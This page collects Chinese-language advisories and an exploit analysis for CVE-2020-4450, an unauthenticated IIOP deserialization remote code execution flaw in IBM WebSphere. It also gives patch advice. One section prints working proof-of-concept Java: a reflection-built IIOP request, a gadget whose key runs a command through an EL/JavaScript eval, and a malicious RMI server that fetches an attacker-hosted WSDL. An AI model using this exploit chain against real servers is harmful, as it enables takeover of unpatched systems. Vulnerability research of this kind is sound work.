-
rmi远程代码执行漏洞_WebSphere 远程代码执行漏洞CVE20204450
2021-01-05 11:43:32漏洞名称:WebSphere 远程代码执行漏洞CVE-2020-4450威胁等级:高危影响范围:WebSphere Application Server 9.0.0.0 - 9.0.5.4WebSphere Application Server 8.5.0.0 - 8.5.5.17漏洞类型:远程代码执行利用难度:...漏洞名称:WebSphere 远程代码执行漏洞CVE-2020-4450
威胁等级:高危
影响范围:
WebSphere Application Server 9.0.0.0 - 9.0.5.4
WebSphere Application Server 8.5.0.0 - 8.5.5.17
漏洞类型:远程代码执行
利用难度:中等
漏洞分析
1 WebSphere 组件介绍
WebSphere 是 IBM 的软件平台。它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施,如服务器、服务和工具。WebSphere Application Server 是该设施的基础,其他所有产品都在它之上运行。WebSphere Process Server 基于 WebSphere Application Server 和 WebSphere Enterprise Service Bus,它为面向服务的体系结构 (SOA) 的模块化应用程序提供了基础,并支持应用业务规则,以驱动支持业务流程的应用程序。
2 漏洞描述
2020年6月15日,IBM官方发布了针对CVE-2020-4450漏洞的防御补丁。漏洞产生的原因是IBM WebSphere Application Server可以允许远程攻击者通过iiop协议传输精心构造的序列化数据,在系统上执行任意代码。
3 详细分析
首先梳理一下漏洞利用流程,漏洞触发入口位于com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request方法。
控制 serviceContext和serviceContext.context_data参数值不为null,保证
boolean validOtsContext = serviceContext != null && serviceContext.context_data != null;
中的 validOtsContext 为true,从而进入下图所示的if代码块
在代码块中,执行TxInterceptorHelper.demarshalContext(serviceContext.context_data, (ORB)((LocalObject)sri)._orb())方法。
首先调用createCDRInputStream创建EncoderInputStream(CDRInputStream的子类)。创建PropagationContext对象,将数据流中的属性读取到上下文中。这里重点关注
propContext.implementation_specific_data = inputStream.read_any();
此段代码会调用EncoderInputStream#read_any方法,进而调用CDRReader#read_any方法进行反序列化操作。
参考Zero Day Initiative和iswin文章(见参考链接),CVE-2020-4450漏洞使用WSIFPort_EJB类进行gadget构造,同时通过反射,获取com.ibm.rmi.iiop.Connection#setConnectionContexts方法,添加构造的ServiceContext,满足上述流程的前提条件,为serviceContext和serviceContext.context_data赋值。
通过构造context_data数据,在demarshalContext方法解析时触发构造中的恶意数据,构造方式参考marshalContext方法
模拟序列化流程,将构造的恶意数据传入result。
进入gadget使用的WSIFPort_EJB类,首先跟进readObject方法
在WSIFPort_EJB反序列化过程中会调用readObject方法,进而执行
this.fieldEjbObject = handle.getEJBObject();
这里可以构造一个恶意的fieldEjbObject 对象,为后续的jndi注入做准备。
继续跟进代码,在com.ibm.ejs.container.EntityHandle类中实现了Handler接口中的getEJBObject()方法。跟进com.ibm.ejs.container.EntityHandle#getEJBObject(),发现lookup() jndi寻址方法。
以下是Jndi lookup方法调用的流程
com.sun.jndi.rmi.registry.RegistryContext#lookupcom.sun.jndi.rmi.registry.RegistryContext#decodeObjectjavax.naming.spi.NamingManager#getObjectInstanceorg.apache.aries.jndi.OSGiObjectFactoryBuilder#getObjectInstanceorg.apache.aries.jndi.ObjectFactoryHelper#getObjectInstanceorg.apache.aries.jndi.ObjectFactoryHelper#getObjectInstanceViaContextDotObjectFactories
主要跟进getObjectInstanceViaContextDotObjectFactories方法,在此方法中可以调用任何ObjectFactory类的getObjectInstance,这里根据Zero Day Initiative给出的WSIFServiceObjectFactory进行分析。
通过获取远程恶意rmi服务中构造的xml文件并解析,读取其中的字段数据,为上图中属性进行赋值。
在获取homeClass之后,调用findFindByPrimaryKey()方法
从此方法可以发现传入的homeclass的限制条件,首先需要实现findFindByPrimaryKey方法。而在调用lookup方法时,限制homeclass类需要继承EJBHome接口。
这里找到iswin提到的com.ibm.ws.batch.CounterHome接口。
在执行this.object = (EJBObject)fbpk.invoke(home, this.key); 调用WSIFClientProxy#invoke方法,进行远程方法调用。实现漏洞利用。
4 漏洞复现
搭建WebSphere Application Server 9.0.0.2环境,构造恶意的反序列化数据,通过iiop发送到目标服务器,当目标服务器解析反序列化数据,会触发恶意代码执行,效果如图:
影响范围
目前受影响的WebSphere版本:
WebSphere Application Server 9.0.0.0 - 9.0.5.4
WebSphere Application Server 8.5.0.0 - 8.5.5.17
解决方案
1 修复建议
官方已经针对此漏洞发布补丁,请受影响的用户按照以下方式进行修复:
WebSphere Application Server 9.0:更新安全补丁PH25074,或者升级到9.0.5.5及更高版本。
WebSphere Application Server 8.5:更新安全补丁PH25074,或者升级到8.5.5.18及更高的版本。
2 深信服解决方案
【深信服下一代防火墙】可轻松防御此漏洞, 建议部署深信服下一代防火墙的用户更新至最新的安全防护规则,可轻松抵御此高危风险。
【深信服云盾】已第一时间从云端自动更新防护规则,云盾用户无需操作,即可轻松、快速防御此高危风险。
【深信服安全感知平台】可检测利用该漏洞的攻击,实时告警,并可联动【深信服下一代防火墙等产品】实现对攻击者ip的封堵。
【深信服安全运营服务】深信服云端安全专家提供7*24小时持续的安全运营服务。对存在漏洞的用户,检查并更新了客户防护设备的策略,确保客户防护设备可以防御此漏洞风险。
时间轴
2020/6/15
IBM 官方分配漏洞编号CVE-2020-4450,发布补丁PH25074
2020/7/21
Zero Day Initiative 发布漏洞细节详情
2020/8/17
深信服千里目安全实验室分析并复现漏洞,发布产品解决方案。
参考链接
[1].https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf
[2].https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere
[3].https://www.iswin.org/2020/08/04/WebSphere-CVE-2020-4450-Vul-Analysis/
点击阅读原文,及时关注并登录深信服智安全平台,可轻松查询漏洞相关解决方案
-
WebSphere远程代码执行漏洞处置方案
2020-11-03 04:32:48WebSphere远程代码执行漏洞处置方案 2020年6月5日,IBM官方发布安全通告修复了WebSphere Application Server中的远程代码执行漏洞(CVE-2020-4450),根据IBM官方通告,WebSphere Application Server存在一处IIOP...WebSphere远程代码执行漏洞处置方案
2020年6月5日,IBM官方发布安全通告修复了WebSphere Application Server中的远程代码执行漏洞(CVE-2020-4450),根据IBM官方通告,WebSphere Application Server存在一处IIOP反序列化漏洞,将会导致远程代码执行,未经身份认证的攻击者可以通过IIOP协议远程攻击WebSphere Application Server服务器。鉴于该漏洞影响较大,建议客户尽快安装软件更新。
漏洞描述
WebSphere Application Server 是一款由IBM 公司开发的高性能的 Java 应用服务器,可用于构建、运行、集成、保护和管理内部部署和/或外部部署的动态云和 Web 应用。它不仅能够确保高性能和灵活性,还提供多种开放标准编程模型选项,旨在最大程度提高开发人员的生产力。它可提供灵活先进的性能、冗余和编程模型。
2020年6月5日,奇安信CERT监测到IBM官方发布安全通告修复了WebSphere Application Server中的远程代码执行漏洞(CVE-2020-4450),经过分析,未经身份认证的攻击者可以通过IIOP协议远程攻击WebSphere Application Server服务器,鉴于该漏洞影响较大,建议客户尽快安装软件更新。
奇安信CERT第一时间复现了CVE-2020-4450漏洞,复现截图如下:
风险等级
高危
影响范围
WebSphere Application Server 9.0.0.0 – 9.0.5.4
WebSphere Application Server 8.5.0.0 – 8.5.5.17
WebSphere Application Server 8.0.0.0 – 8.0.0.15
WebSphere Application Server 7.0.0.0 – 7.0.0.45
处置建议
建议尽快升级至修复版本,WebSphere Application Server 9.0.5.4、8.5.5.17、8.0.0.15 、7.0.0.45以上升级链接如下:
https://www.ibm.com/support/pages/node/6220276
-
rmi远程代码执行漏洞_WebSphere远程代码执行漏洞分析
2020-12-22 04:24:38该漏洞本身其实并不是非常好用,但是对于分析来说,确实是今年以来比较有意思的一个漏洞了,值得所有做Java漏洞研究的人员进行...该漏洞允许攻击者通过iiop向WAS进行网络请求,最终在WAS上执行任意代码。在7月,ZD...该漏洞本身其实并不是非常好用,但是对于分析来说,确实是今年以来比较有意思的一个漏洞了,值得所有做Java漏洞研究的人员进行跟进和学习。
0x01 漏洞概述
IBM WebSphere Application Server(后面简称WAS)在今年6月发布了一则漏洞通告,cve编号为:CVE-2020-4450。该漏洞允许攻击者通过iiop向WAS进行网络请求,最终在WAS上执行任意代码。
在7月,ZDI公布了漏洞细节,同天iswin师傅也发布了他对此漏洞的分析,8月6日,360cert的小伙伴也公布了他自己的分析,本文是参考以上三篇文章完成的,主要用于记录自己的调试过程,以及补充相关的分析细节。
0x02 漏洞分析
该漏洞主要分为三部分:
TXServerInterceptor拦截器处理iiop请求
利用WSIF构造Gadget
伪造wsdl文件完成漏洞利用
本文将从上而下将三部分进行串流分析,主要采用静态跟踪,最后会在漏洞利用部分分享如何创建相关数据流完成整条流程的串通。
2.1 TXServerInterceptor拦截器处理iiop请求
这一部分tinit0在19年的bh上其实已经做了相关的分享,这里只是记录一下自己的跟进流程。
TXServerInterceptor具体代码在
com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request,这里只截关键部分的代码:
拦截器首先会根据ServerRequestInfo实例化ServiceContext对象,当serviceContext.context_data对象非空时可以进入TxInterceptorHelper.demarshalContext解析流程,而这里就是漏洞的起始点。
跟进TxInterceptorHelper.demarshalContext()方法:
对Corba处理稍微熟悉一点的可以很明显的看出这里为Corba rpc流程中的解包流程。根据传入的bypte数组初始化CDRInputStream对象用于后续进行反序列化操作。在完成CDRInputStream初始化后,调用read_any()方法初始化Any对象。
由于IBM自己重新实现了具体的IIOP解析流程,所以不能先入为主的用JDK原生处理逻辑来思考后续漏洞调用流程。
我们首先来跟进一下CDRInputStream的初始化逻辑,后续流程会用到其所定义的CDRReader:
这里最终返回EncoderInputStream对象,并设置reader对象为com.ibm.rmi.iiop.CDRInputStream,reader会在后续流程中用到。
现在跟进inputStream.read_any():
具体实现为com.ibm.rmi.iiop.CDRInputStream#reade_any。由于CDRInputStream中未实现read_any()方法则调用com.ibm.rmi.iiop.CDRReader#read_any:
其中最为关键的逻辑就是Any.read_value()。到这里为止,经历了以下流程:
CDRInputStream初始化 ->CDRInputStream.read_any() ->CDRInputStream.read_value()
看过之前那篇简述Corba文章的,可能已经清楚了,JDK原生实现逻辑在后续会触发反序列化流程,而IBM的实现方式却不尽相同,后续会触发反射调用的流程。
跟进Any.read_value()方法:
首先会将传入的TypeCode转化为真正的TypeCode,之后调用TCUtility.unmarshalIn()对传入的InputStream进行解包操作,想要查看全部的TypeCode的话,可以查看org.omg.CORBA.TCKind#from_int。这里我们重点关注tk_value,也就是TypeCode为29的情况:
接下来的调用逻辑为:
org.omg.CORBA_2_3.portable.InputStream#read_value ->com.ibm.rmi.iiop.EncoderInputStream#read_value ->com.ibm.rmi.iiop.CDRReader#read_value
在com.ibm.rmi.iiop.CDRReader#read_value()中存在关键逻辑:
在this.fast_read_value_ludcl();中对this.valueClass进行了初始化:
最终通过com.ibm.rmi.util.ClassCache#loadClass调用JDK反射完成类的实例化。这里不做重点跟踪,感兴趣的可以自己跟一下。
这里主要跟进一下his.valueHandler.readValue()方法的处理流程:
调用了this.inputStreamBridge.simpleReadObject()最终返回一个Serializable对象,继续跟进:
红框标注了两个重要的流程,simpleReadObjectInternal方法和simpleReadObjectLoop,这两个方法存在一定的区别。
simpleReadObjectInternal
simpleReadObjectInternal首先根据valueClass的类型进行流程分派,之后会向上轮询查找父类同时将subClass保存在pendingReadStack中。判断父类是否存在readObject方法,如果没有则将完成初步处理的对象传入simpleReadObjectLoop中对其子类进行反序列化。
这里会会向上轮询查找父类同时将subClass保存在pendingReadStack中,跟进看一下addSubclass()方法:
其将相关信息都进行了设置,这些设置在simpleReadObjectLoop中会用到。继续跟进:
此处会判断父类中是否存在readObject方法,若不存在则完成后续处理逻辑并进入simpleReadObjectLoop逻辑之中。
simpleReadObjectLoop
simpleReadObjectLoop会遍历pendingReadStack中的子类,并调用continueSimpleReadObject()方法尝试反序列化。
此处的var2.obj、var2.classDesc、var2.fvd在simpleReadObjectInternal中都已经进行了设置。跟进inputObjectUsingClassDesc()方法,和simpleReadObjectInternal是相同的逻辑,先判断是否存在readObject方法,如果存在则调用readObject方法进行反序列化操作:
至此漏洞的触发点就梳理完毕了。
2.2 利用WSIF构造Gadget
2.2.1 WSIF更改执行流
在具体梳理漏洞gadget前,先用一个例子来简单介绍一下Apache WSIF。
WSIF全称Web服务调用框架,是一组用于调用Web服务的Java API。其和wsdl描述文件强关联,wsdl文件用于描述与Web服务的抽象结构进行交互,可以理解为Web服务API的描述文件。
首先创建一个接口,该接口用于与对应的wsdl文件对应:
然后本地实现Gadget接口,这里为了简单,直接将exec()方法实现为执行命令:
具体的调用为:
WSIFServiceFactory.getService()方法文档如下:
可以看到这里主要需要以下几个参数:
javax.wsdl.Definition:wsdl文件的位置
portTypeNs:用于标识port的NameSpace,相当于配置的命名空间
portTypeName:port的名字,在wsdl中portType为接口对象的xml表示
这里的WSIFService.getStub(Gadget.class)方法最终返回的是一个Gadget类型的代理对象。
wsdl文件定义如下:
运行效果如下:
现在我们在不改动Main代码的情况下(即不改变运行逻辑)让其执行el表达式解析(即实现不同的逻辑)。为了方便测试,只改变Main中exec()方法的参数(可以理解为这里是可控的值):
修改wsdl如下:
执行结果如下:
通过上面两个例子可以简单的将WSIF理解为接口的描述文件,而接口方法的具体实现是根据wsdl配置而进行绑定的。
所以当在面对一个存在WSIF调用的逻辑时,可以考虑使用自定义的wsdl来将执行流引向符合条件的其他实现中。
2.2.2 Gadget执行流
根据ZDI的文章,tint0找到了一个存在readObject方法的类,并且该类会触发JNDI逻辑,这个类就是org.apache.wsif.providers.ejb.WSIFPort_EJB:
HomeHandle.getEJBHome()虽然也会触发JNDI流程,但是由于在具体实现时没有对返回回的代理类对象的相关方法进行引用,无法触发后续的gadget逻辑,所以此处需要构造一个Handle对象,而非一个HomeHandle对象。
现在我们可以先继续跟着Handle.getEJBObject()的逻辑向下看,看到后面就可以理解为什么选择构造Handle对象了。
跟进com.ibm.ejs.container.EntityHandle#getEJBObject,此处是整个Gadget的主要执行逻辑:
总结一下分为三步:
JNDI返回一个EJBHome类型的对象
检查返回对象的EJBHome对象是否存在findByPrimaryKey方法
反射调用EJBHome对象的findByPrimaryKey对象
首先来看
home = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.homeJNDIName), homeClass);
由于最终返回类型为EJBHome,可以得知homeClass为EJBHome接口的具体实现类,且ctx.lookup(this.homeJNDIName)必须为EJBHome子类。
接着跟进com.ibm.ejs.container.EntityHandle#findFindByPrimaryKey查看homeClass需要满足的条件:
可以看到必须存在findByPrimaryKey方法。在EJBHome的继承树中寻找符合条件的类有:
com.ibm.ejs.security.registry.RegistryEntryHomecom.ibm.ws.batch.AbstractResourceHomecom.ibm.ws.batch.CounterHomecom.ibm.ws.batch.LocalJobStatusHome
目前先不管构造哪个接口的具体实现类,先来看一下ctx.lookup()的具体实现,调用栈:
com.sun.jndi.rmi.registry.RegistryContext#lookupcom.sun.jndi.rmi.registry.RegistryContext#decodeObjectjavax.naming.spi.NamingManager#getObjectInstance
org.apache.aries.jndi.OSGiObjectFactoryBuilder#getObjectInstance(java.lang.Object, javax.naming.Name, javax.naming.Context, java.util.Hashtable,?>)org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstance
跟进
org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstanceViaContextDotObjectFactories(java.lang.Object, javax.naming.Name, javax.naming.Context,java.util.Hashtable,?>,
javax.naming.directory.Attributes):
这里的factory为ObjectFactory接口的具体实现,而factory是可以通过environment自定义实现的,所以这里可以通过修改environment的配置更改执行流。
tint0这里找到的可以用ObjectFactory为org.apache.wsif.naming.WSIFServiceObjectFactory:
由于ctx.lookup()最终要求返回的是EJBHome的实现类,而WSIFService接口并非EJBHome的子类,所以选择下面的流程。根据2.2.1中的叙述,可以明显的看出这里调用了WSIF流程。
这里重新放一下WSIFServiceFactory.getService()方法的文档:
对应实现的代码:
注意红框标注的相关代码,WSIF所需要的基础参数我们都可以通过Reference对象获得。通过指定className,我们还可以指定生成的stub动态代理对象的类型,当设置其为EJBHome的具体实现类时,可以完美的匹配我们之前的需求。
而通过自定义wsdl文件,我们可以将接口方法映射到其他的具体实现中,改变具体接口的执行流。
2.3 伪造wsdl文件完成漏洞利用
根据2.2.2中的内容,我们回看触发JNDI流程处的代码:
在2.2.2中也说过,这里的home对象要满足两个条件:
是EJBHome的具体实现类
存在findByPrimaryKey方法
搜索EJBHome的继承树,满足条件的有:
com.ibm.ejs.security.registry.RegistryEntryHomecom.ibm.ws.batch.AbstractResourceHomecom.ibm.ws.batch.CounterHomecom.ibm.ws.batch.LocalJobStatusHome
所以如果构造Reference对象中的className为其中一个类,并设置好wsdl文件中对应接口方法的映射,即可完成我们想要控制的逻辑。
仔细研究一下上面所列举的可用的EJBHome接口子类:
其中com.ibm.ws.batch.CounterHome是最容易构造的,可以配合javax.el.ELProcessor执行el表达式,最终导致命令执行。
所以只需要造好wsdl,让CounterHome的findByPrimaryKey方法的具体实现指向javax.el.ELProcessor的eval方法,在返回了CounterHome动态代理对象后,会利用反射调用其findByPrimaryKey也就是我们通过wsdl绑定的javax.el.ELProcessor#eval方法,完成表达式执行。
攻击流程可以总结如下:
至此漏洞梳理完毕。
0x03 漏洞利用
根据0x02的分析,可以得出想要利用成功该漏洞所需的必备因素:
IIOP请求构造(满足进入触发点的context)
构造org.apache.wsif.providers.ejb.WSIFPort_EJB所需的序列化数据(最终反序列化对象的类型为Handle)
构造wsdl文件更改接口方法的具体实现
构造JNDI server使其返回指定的Reference对象
接下来会对上述流程进行逐一叙述。
3.1 IIOP请求构造
回看com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request:
要注意两个点:
ServiceContext.context_data非空,且包含我们构造的序列化Gadget
TxProperties.SINGLE_PROCESS为true
重点来看一下ServiceContext获取逻辑,跟进((ExtendedServerRequestInfo)sri).getRequestServiceContext(0),调用逻辑如下:
com.ibm.rmi.pi.ServerRequestInfoImpl#getRequestServiceContextcom.ibm.rmi.iiop.ServerRequestImpl#getServiceContextcom.ibm.rmi.iiop.RequestMessage#getServiceContextcom.ibm.rmi.iiop.ServiceContextList#getServiceContext
根据调用栈我们可以看到是从com.ibm.rmi.iiop.RequestMessage对象中获取ServiceContext对象的,在etServiceContext方法中:
会遍历ServiceContextList,提取id为0的ServiceContext。但是由于没有编号为0的ServiceContext,所以返回的是空。
仔细读一下官方文档,官方文档中有提及如何在RMI请求中插入ServiceContext的做法,可以参考文档进行理解:
可以看到最终是调用ExtendedClientRequestInfo(ClientRequestInfo的父类)的add_request_service_context方法完成自定义ServiceContext的设置。那么关键点就是,我们如何从client端将ServiceContext设置到ExtendedClientRequestInfo中。
在跟踪了ibm自定义的通信过程后,可以发现在ORB中的GIOPImpl在调用createRequest方法时会实例化ClientRequestImpl对象:
这里有两个地方需要注意:
获取Connection对象
根据获取的Connection对象获取ServiceContext
首先先看一下是如何从Connection对象中获取到ServiceContext的:
可以看到直接是调用Connection#getServiceContexts方法。
之后跟进ClientRequestImpl初始化逻辑:
将获取到的ServiceContext作为参数传入到RequestMessage的构造函数中。这里就和服务端跟到的逻辑相符。
梳理一下思路,构造IIOP请求的关键点为:
进行第一次请求,初始化获取到的Context对象
获取ORB
获取ORB中的GIOPImpl
获取Connection对象
调用setConnectionContexts将构造好的ServiceContext设置到Connection对象中
进行第二次请求,触发RequestMessage对象的重新发送
具体构造可以动态调试一下,利用反射完成相关的值设置。
最终构造如下:
Properties env = new Properties();env.put(Context.PROVIDER_URL, "iiop://192.168.211.128:2809");env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");InitialContext context = new InitialContext(env);context.list("");Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");f_defaultInitCtx.setAccessible(true);WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");f_context.setAccessible(true);CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");f_corbaNC.setAccessible(true);_NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");f__delegate.setAccessible(true);ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");f_ior.setAccessible(true);IOR ior = (IOR) f_ior.get(clientDelegate);Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");f_orb.setAccessible(true);ORB orb = (ORB) f_orb.get(clientDelegate);GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, Profile.class, ClientDelegate.class, String.class);getConnection.setAccessible(true);Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "Lucifaer");Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);setConnectionContexts.setAccessible(true);byte[] result = new byte[]{0, 0};ServiceContext serviceContext = new ServiceContext(0, result);ArrayList v4 = new ArrayList();v4.add(serviceContext);setConnectionContexts.invoke(connection, v4);context.list("");
3.2 构造所需的序列化数据
在2.1的分析中,我们知道要满足触发反序列化流程需要进行特殊构造。漏洞触发点为inputStream.read_any(),为了满足上方对inputStream相关数据的提取,所以需要特殊构造byte[]:
既然存在demarshalContext方法,那一定存在marshalContext方法:
按照上面的方法直接生成符合要求的byte[]:
CDROutputStream outputStream = ORB.createCDROutputStream();outputStream.putEndian();Any any = orb.create_any();PropagationContext propagationContext = new PropagationContext(0,new TransIdentity(null, null, new otid_t(0, 0, new byte[0])),new TransIdentity[0],any);PropagationContextHelper.write(outputStream, propagationContext);result = outputStream.toByteArray();
在满足了触发点后,我们需要构造gadget满足条件:
构造一个org.apache.wsif.providers.ejb.WSIFPort_EJB对象,其中还需要构造WSIFPort_EJB#readObject方法传入值反序列化得到一个javax.ejb.Handle对象。
构造EntityHandle对象
3.2.1 生成WSIFPort_EJB序列化对象
直接看org.apache.wsif.providers.ejb.WSIFPort_EJB#writeObject:
这里我们需要首先设置this.fieldEjbObject对象并调用其getHandle方法,生成一个Handle对象。这里的this.fieldEjbObject是EJBObject接口的具体实现。所以可以自己寻找一个具体实现类,并覆盖其getHandle方法。
3.2.2 构造EntityHandle对象
构造一个EntityHandle对象还是比较麻烦的,我们来理一下:
我们需要将homeJNDIName设置为我们自己定义的RMI Server地址,同时key是最终传入findByPrimaryKey的参数,需要构造为我们要执行的代码,所以需要构造特殊的BeanId对象:
同时为了将之后RMI流程指向org.apache.wsif.naming.WSIFServiceObjectFactory,需要我们在Properties对象中设置相关的environment:
我们首先构造BeanId。跟进com.ibm.ejs.container.BeanId#getJNDIName:
所以还需要构造HomeInternal的具体实现对象,并使其返回String类型。
整理一下需要构造的HomeInternal对象的需求:
构造J2EEName对象,满足要求
寻找一个HomeInternal的具体实现对象,其getJNDIName方法返回String,且返回不受到pkey干扰
查看继承树后,发现EJSHome抽象类满足要求:
所以梳理一下思路:
实例化EJSHome接口实现类
实例化J2EEName对象
反射设置J2EEName到EJSHome接口实现类
反射设置EJSHome接口实现类
的this.jndiName变量为RMI Server的地址
实例化BeanId
实例化BeanMetaData
实例化Properties
这里重写了com.ibm.ejs.container.EJSWrapper:
public Handle getHandle() {Handle var2 = null;try {SessionHome sessionHome = new SessionHome();J2EEName j2EEName = new J2EENameImpl("aa","aa","aa");Field j2eeName = EJSHome.class.getDeclaredField("j2eeName");j2eeName.setAccessible(true);j2eeName.set(sessionHome,j2EEName);Field jndiName = sessionHome.getClass().getSuperclass().getDeclaredField("jndiName");jndiName.setAccessible(true);jndiName.set(sessionHome,"rmi://127.0.0.1:1099/poc");Serializable key = "\"a\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('open /Applications/Calculator.app')\")";//Serializable key = "\"a\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"ifconfig\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")";BeanId beanId = new BeanId(sessionHome,key,true);BeanMetaData beanMetaData = new BeanMetaData(1);beanMetaData.homeInterfaceClass = com.ibm.ws.batch.CounterHome.class;Properties initProperties = new Properties();initProperties.setProperty("java.naming.factory.object", "org.apache.wsif.naming.WSIFServiceObjectFactory");Constructor c = EntityHandle.class.getDeclaredConstructor(BeanId.class, BeanMetaData.class, Properties.class);c.setAccessible(true);var2 = (Handle) c.newInstance(beanId, beanMetaData, initProperties);} catch (Exception e) {e.printStackTrace();}return var2;}
3.3 构造RMI Server绑定
根据2.2.2的分析,我们最终的RMI流程会进行到org.apache.wsif.naming.WSIFServiceObjectFactory中:
所以我们需要构造一个恶意的RMI Server,其应该满足以下要求:
返回一个WSIFServiceStubRef对象
指定用于后续调用WSIF流程的基础参数:
wsdLoc
serviceNS
serviceName
portTypeNS
portTypeName
preferredPort
设置className为com.ibm.ws.batch.CounterHome
以上有关WSIF的参数设置,可以参考2.2.1中的叙述,这里就不再过多重复了。
最终可以构造RMI Server如下:
public class RmiServer {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1097);Reference ref = new Reference(WSIFServiceObjectFactory.class.getName(), null, null);ref.add(new StringRefAddr("wsdlLoc", "http://192.168.211.1:9999/poc.wsdl"));ref.add(new StringRefAddr("serviceNS", null));ref.add(new StringRefAddr("serviceName", null));ref.add(new StringRefAddr("portTypeNS", "http://wsifservice.addressbook/"));ref.add(new StringRefAddr("portTypeName", "Gadget"));ref.add(new StringRefAddr("className", "com.ibm.ws.batch.CounterHome"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);registry.bind("poc", referenceWrapper);}}
3.4 构造WSDL文件
这一部分参考2.2.1中叙述,这里直接给出wsdl文件的内容:
3.5 整合poc
最后将3.2构造好的WSIFPort_EJB序列化对象写入3.1构造好的IIOP请求中:
至此poc构造完毕。
攻击效果如下:
0x04 参考
https://www.zerodayinitiative.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-webspherehttps://www.secrss.com/articles/24353https://cert.360.cn/report/detail?id=3d016bdef66b8e29936f8cb364f265c8https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdfhttps://publib.boulder.ibm.com/tividd/td/ITMFTP/SC32-9412-00/en_US/HTML/arm48.htmhttps://publib.boulder.ibm.com/tividd/td/ITMFTP/SC32-9412-00/en_US/HTML/arm48.htm[http://ws.apache.org/wsif/index.html][http://ws.apache.org/wsif/index.html]
往期精彩
感兴趣的可以点个关注!!!
关注「安全先师」
把握前沿安全脉搏
-
CVE-2020-4450: WebSphere远程代码执行漏洞通告
2020-06-09 11:00:35CVE-2020-4450: WebSphere远程代码执行漏洞通告 360-CERT [三六零CERT](javascript:void(0)???? 昨天 0x00 漏洞背景 2020 年 06 月 08 日,360CERT监测到 IBM官方发布了 WebSphere远程代码执行 的风险通告,该漏洞...CVE-2020-4450: WebSphere远程代码执行漏洞通告
360-CERT [三六零CERT](javascript:void(0)😉 昨天
0x00 漏洞背景
2020 年 06 月 08 日,360CERT监测到
IBM官方
发布了WebSphere远程代码执行
的风险通告,该漏洞编号为CVE-2020-4450
,漏洞等级:高危
。WebSphere Application Server
是一款由IBM 公司开发的高性能的Java 中间件服务器,可用于构建、运行、集成、保护和管理部署的动态云和Web 应用。它不仅能够确保高性能和灵活性,还提供多种开放标准编程模型选项,旨在最大程度提高开发人员的生产力。此漏洞由
IIOP
协议上的反序列化造成,未经身份认证的攻击者可以通过IIOP
协议远程攻击WebSphere Application Server
,在目标服务端执行任意代码,获取系统权限,进而接管服务器。对此,360CERT建议广大用户及时安装最新补丁,做好资产自查以及预防工作,以免遭受黑客攻击。
0x01 风险等级
360CERT对该漏洞的评定结果如下
评定方式 等级 威胁等级 高危 影响面 一般 0x02 漏洞详情
此漏洞由
IIOP
协议上的反序列化造成,未经身份认证的攻击者可以通过IIOP
协议远程攻击WebSphere Application Server
,在目标服务端执行任意代码,获取系统权限,进而接管服务器0x03 影响版本
- WebSphere Application Server: 9.0.0.0 to 9.0.5.4
- WebSphere Application Server: 8.5.0.0 to 8.5.5.17
- WebSphere Application Server: 8.0.0.0 to 8.0.0.15
- WebSphere Application Server: 7.0.0.0 to 7.0.0.45
0x04 修复建议
通用修补建议:
WebSphere Application Server 9.0.0.0 - 9.0.5.4: 更新安全补丁PH25074
WebSphere Application Server 8.5.0.0 - 8.5.5.17: 更新安全补丁PH25074
WebSphere Application Server 8.0.0.0 - 8.0.0.15: 升级至8.0.0.15 版本,并安装补丁PH25074
WebSphere Application Server 7.0.0.0 - 7.0.0.45: 升级至7.0.0.45版本,并安装补丁PH25074补丁下载链接:
https://www.ibm.com/support/pages/node/62202760x05 相关空间测绘数据
360安全大脑-Quake网络空间测绘系统通过对全网资产测绘,发现
WebSphere
在全球
均有广泛使用,具体分布如下图所示。0x06 产品侧解决方案
360城市级网络安全监测服务
360安全大脑的QUAKE资产测绘平台通过资产测绘技术手段,对该类漏洞进行监测,请用户联系相关产品区域负责人获取对应产品。
0x07 时间线
2020-06-04 IBM发布预警
2020-06-08 360CERT发布预警
0x08 参考链接
- https://www.ibm.com/support/pages/security-bulletin-websphere-application-server-vulnerable-remote-code-execution-vulnerability-cve-2020-4450
转载自https://mp.weixin.qq.com/s/7xD45KDnNhP64XaSaKYf-Q
-
rmi远程代码执行漏洞_WebSphere 远程代码执行漏洞浅析(CVE20204450)
